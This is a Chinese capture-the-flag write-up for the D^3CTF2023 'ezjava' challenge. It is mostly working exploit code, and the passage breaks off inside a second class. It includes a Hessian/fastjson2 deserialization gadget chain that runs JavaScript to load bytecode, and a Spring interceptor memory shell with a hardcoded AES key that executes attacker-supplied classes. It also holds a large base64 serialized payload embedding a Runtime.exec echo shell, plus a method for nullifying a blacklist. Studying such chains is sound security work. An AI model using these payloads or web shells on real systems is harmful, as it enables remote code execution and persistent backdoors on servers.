D^3CTF2023--ezjava
D3CTF2023 ezjava
前言
拖了一个月,也不是忙,就是懒起来了
痛苦啊,每到3-4月都跟个废物一样
code
@RestController
public class MainController {
public MainController() {
}
@Operation(
description = "hello for all"
)
@GetMapping({"/"})
public String hello() {
return "hello";
}
@Operation(
description = "registry will request client '/status' to get client status."
)
@GetMapping({"/client/status"})
public Result clientStatus() {
try {
String json = Request.get("http://server:8080/status");
return (Result)JSON.parseObject(json, Result.class);
} catch (Exception var2) {
return Result.of("500", "client is down");
}
}
@Operation(
description = "return serialized blacklist for client. Client will require blacklist every 10 sec."
)
@GetMapping({"/blacklist/jdk/get"})
public Result getBlacklist() {
String data = "";
String code = "200";
try {
data = DefaultSerializer.serialize(Blacklist.readBlackList("security/jdk_blacklist.txt"));
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}
return Result.of("200", data);
}
@Operation(
description = "get serialized blacklist for registry"
)
@GetMapping({"/blacklist/hessian/get"})
public Result getHessianBlacklist() {
String data = "";
String code = "200";
try {
data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
} catch (Exception var4) {
data = var4.getMessage();
code = "500";
}
return Result.of("200", data);
}
@Operation(
description = "deserialize base64Str using hessian"
)
@PostMapping({"/hessian/deserialize"})
public Result deserialize(String base64Str) {
String data = "";
String code = "200";
try {
byte[] serialized = Base64.getDecoder().decode(base64Str);
HessianSerializer.deserialize(serialized);
data = "deserialize success";
} catch (Exception var5) {
data = "error: " + var5.getMessage();
code = "500";
}
return Result.of(code, data);
}
}
server端代码
@RestController
public class IndexController {
public static List<String> denyClasses = new ArrayList();
public static long lastTimestamp = 0L;
public IndexController() {
}
@GetMapping({"/status"})
public Result status() {
String msg;
try {
long currentTimestamp = System.currentTimeMillis();
msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
if (currentTimestamp - lastTimestamp > 10000L) {
this.update();
lastTimestamp = System.currentTimeMillis();
}
} catch (Exception var4) {
msg = "client is online";
}
return Result.of("200", msg);
}
public void update() {
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
} else if (msg instanceof List) {
denyClasses = (List)msg;
}
} catch (Exception var6) {
var6.printStackTrace();
}
}
}
register
注册端代码漏洞很明显
@PostMapping({"/hessian/deserialize"})
public Result deserialize(String base64Str) {
String data = "";
String code = "200";
try {
byte[] serialized = Base64.getDecoder().decode(base64Str);
HessianSerializer.deserialize(serialized);
data = "deserialize success";
} catch (Exception var5) {
data = "error: " + var5.getMessage();
code = "500";
}
return Result.of(code, data);
}
读取黑名单,然后进行hessian反序列化
因为 registry 的黑名单没有包含 fastjson2 的依赖, 所以可以打 fastjson2 toString 触发任意 getter, 然后通过 ContinuationContext 的 getTargetContext 触发 reference 注入
package Hessian;
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import javax.naming.CannotProceedException;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
/*
javax.naming.spi.ContinuationDirContext 的getter加载任意类
然后这个地方要用jdk高版本绕过的方法,加载本地factory
*/
public class Continuation_getter {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(SpringInterceptorBehinderForEzJava.class.getName());
clazz.setName("Evil");
String clazz_base64 = Base64.getEncoder().encodeToString(clazz.toBytecode());
String x = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + clazz_base64 + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
"method.setAccessible(true);\n" +
"var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
"clazz.newInstance();";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
setFieldValue(cpe, "cause", null);
setFieldValue(cpe, "stackTrace", null);
cpe.setResolvedObj(resourceRef);
setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
JSONObject jsonObject = new JSONObject();
jsonObject.put("Pupi1",ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
}
关于代码实现问题不做解释,因为我也不会,后续再学习
这里主要还是解释原因
server
然后就可以看server端代码
漏洞也很明显
try {
String registry = "http://registry:8080/blacklist/jdk/get";
String json = Request.get(registry);
Result result = (Result)JSON.parseObject(json, Result.class);
Object msg = result.getMessage();
if (msg instanceof String) {
byte[] data = Base64.getDecoder().decode((String)msg);
denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses);
我们发现他会请求注册端的/blacklist/jdk/get
,然后根据反序列化的结果更新服务端的黑名单
所以我们伪造一串不存在的List数据返回给他,从而起到所谓“置空”黑名单的效果(实际黑名单不能为空)
然后再返回正常打反序列化的数据即可,没有黑名单,打fastjson原生反序列化即可
但是如何触发到这个内网server端的路由呢
一是可以拿到register的shell后,通过curl去访问
二是通过代码可以发现能够通过register的/client/status请求到server的/status
register的/client/status 请求 server的/status
然后server的/status 又会请求 register的/blacklist/jdk/get拿到黑名单
根据自己的做法,对应的写打入server端的内存马即可
register端的内存马
package Hessian;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
public class SpringInterceptorBehinderForEzJava extends AbstractTranslet implements HandlerInterceptor {
private static int counter = 0;
public SpringInterceptorBehinderForEzJava() throws Exception {
// 获取 WebApplicationContext
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());
// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 注册 Interceptor
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
adaptedInterceptors.add(new SpringInterceptorBehinderForEzJava(1));
// 匹配特定路径的 Interceptor
// MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
}
public SpringInterceptorBehinderForEzJava(int n) {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if ("/blacklist/jdk/get".equals(request.getRequestURI())) {
response.setContentType("application/json");
System.out.println("requesting blacklist");
if (counter % 2 == 0) {
System.out.println("sending denyclasses");
List<String> denyClasses = new ArrayList<>();
denyClasses.add("fake.test");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(denyClasses);
String msg = Base64.getEncoder().encodeToString(baos.toByteArray());
objectOutputStream.close();
baos.close();
String result = "{\"code\": \"200\", \"message\": \"" + msg + "\"}";
OutputStream output = response.getOutputStream();
output.write(result.getBytes());
output.flush();
} else {
System.out.println("sending serialized payload");
String payload = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAInQAHmNvbS5leGFtcGxlLkZhc3RKc29uTmF0aXZlRGVtb3QAF0Zhc3RKc29uTmF0aXZlRGVtby5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHmNvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05BcnJheTKOBuRnMfCwAgABTAAEbGlzdHEAfgAHeHBzcgAfY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05BcnJheQAAAAAAAAABAgAAeHEAfgAUAAAAAXcEAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAATJMr+ur4AAAA0ANIKACYAawoAbABtBwBuCgADAG8LAHAAcQoAcgBzBwB0CwB1AHYHAHcIADUKAHgAeQoAegB7CgB6AHwHAH0HAH4KAA8AfwsADgCACACBCwBwAIILAIMAhAgAhQgAhgsAgwCHCwCDAIgKAIkAigoAiQCLCgCMAI0HAI4KABwAawoAjwCQCgAcAJEIAJIKAJMAlAoAjwCVCgAcAJYKAJcAkQoAlwCYBwCZBwCaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL2V4YW1wbGUvTWVtU2hlbGwvU3ByaW5nSW50ZXJjZXB0b3JFY2hvOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEARkxqYXZhL3V0aWwvTGlzdDxMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3I7PjsBAApFeGNlcHRpb25zBwCbAQAEKEkpVgEAAW4BAAFJAQAQTWV0aG9kUGFyYW1ldGVycwEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAJwBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAZvdXRwdXQBABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAVpbnB1dAEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABGJhb3MBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQAGYnVmZmVyAQACW0IBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAfgcAnQcAngcAnwcAoAcAoQcAogcAowcAjgcAVgEAClNvdXJjZUZpbGUBABpTcHJpbmdJbnRlcmNlcHRvckVjaG8uamF2YQwAKAApBwCkDAClAKYBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDACnAKgHAJ0MAKkAqgcAqwwArACtAQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcArgwArwCwAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHALEMALIAswcAtAwAtQC2DAC3ALgBAA5qYXZhL3V0aWwvTGlzdAEAKmNvbS9leGFtcGxlL01lbVNoZWxsL1NwcmluZ0ludGVyY2VwdG9yRWNobwwAKAA7DAC5ALoBAANDbWQMALsAvAcAngwAvQA7AQAMQ29udGVudC1UeXBlAQAJdGV4dC9odG1sDAC+AL8MAMAAwQcAwgwAwwDEDADFAMYHAKIMAMcAyAEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwCjDADJAMoMAMsAzAEAAQoHAKAMAM0AzgwAzwApDADQAM4HAKEMANEAKQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAEWdldFNlcnZsZXRDb250ZXh0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBAEJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3N1cHBvcnQvV2ViQXBwbGljYXRpb25Db250ZXh0VXRpbHMBABhnZXRXZWJBcHBsaWNhdGlvbkNvbnRleHQBAFcoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEA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";
String result = "{\"code\": \"200\", \"message\": \"" + payload + "\"}";
OutputStream output = response.getOutputStream();
output.write(result.getBytes());
output.flush();
}
counter ++;
return false;
}
if (request.getMethod().equals("POST") && "true".equals(request.getHeader("Behinder"))) {
try {
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(Thread.currentThread().getContextClassLoader(),data, 0, data.length);
clazz.newInstance().equals(pageContext);
} catch (Exception e) {
e.printStackTrace();
}
return false;
} else {
return true;
}
}
}
首先是Interceptor内存马的实现逻辑,这个我不是很熟,不说了
然后匹配路径,当是/blacklist/jdk/get时,我们开始控制响应数据
counter用来标识请求次数,因为要先重置黑名单再打反序列化,所以要标识
重置黑名单的实现代码很简单
List<String> denyClasses = new ArrayList<>();
denyClasses.add("fake.test");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(denyClasses);
String msg = Base64.getEncoder().encodeToString(baos.toByteArray());
建一个List然后添加个不存在的包名,然后序列化和base64加密即可
另一部分就是打fastjson原生反序列化的加载恶意内存马的base64数据
这里就给出恶意内存马
package Hessian;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.List;
public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {
public SpringInterceptorEcho() throws Exception {
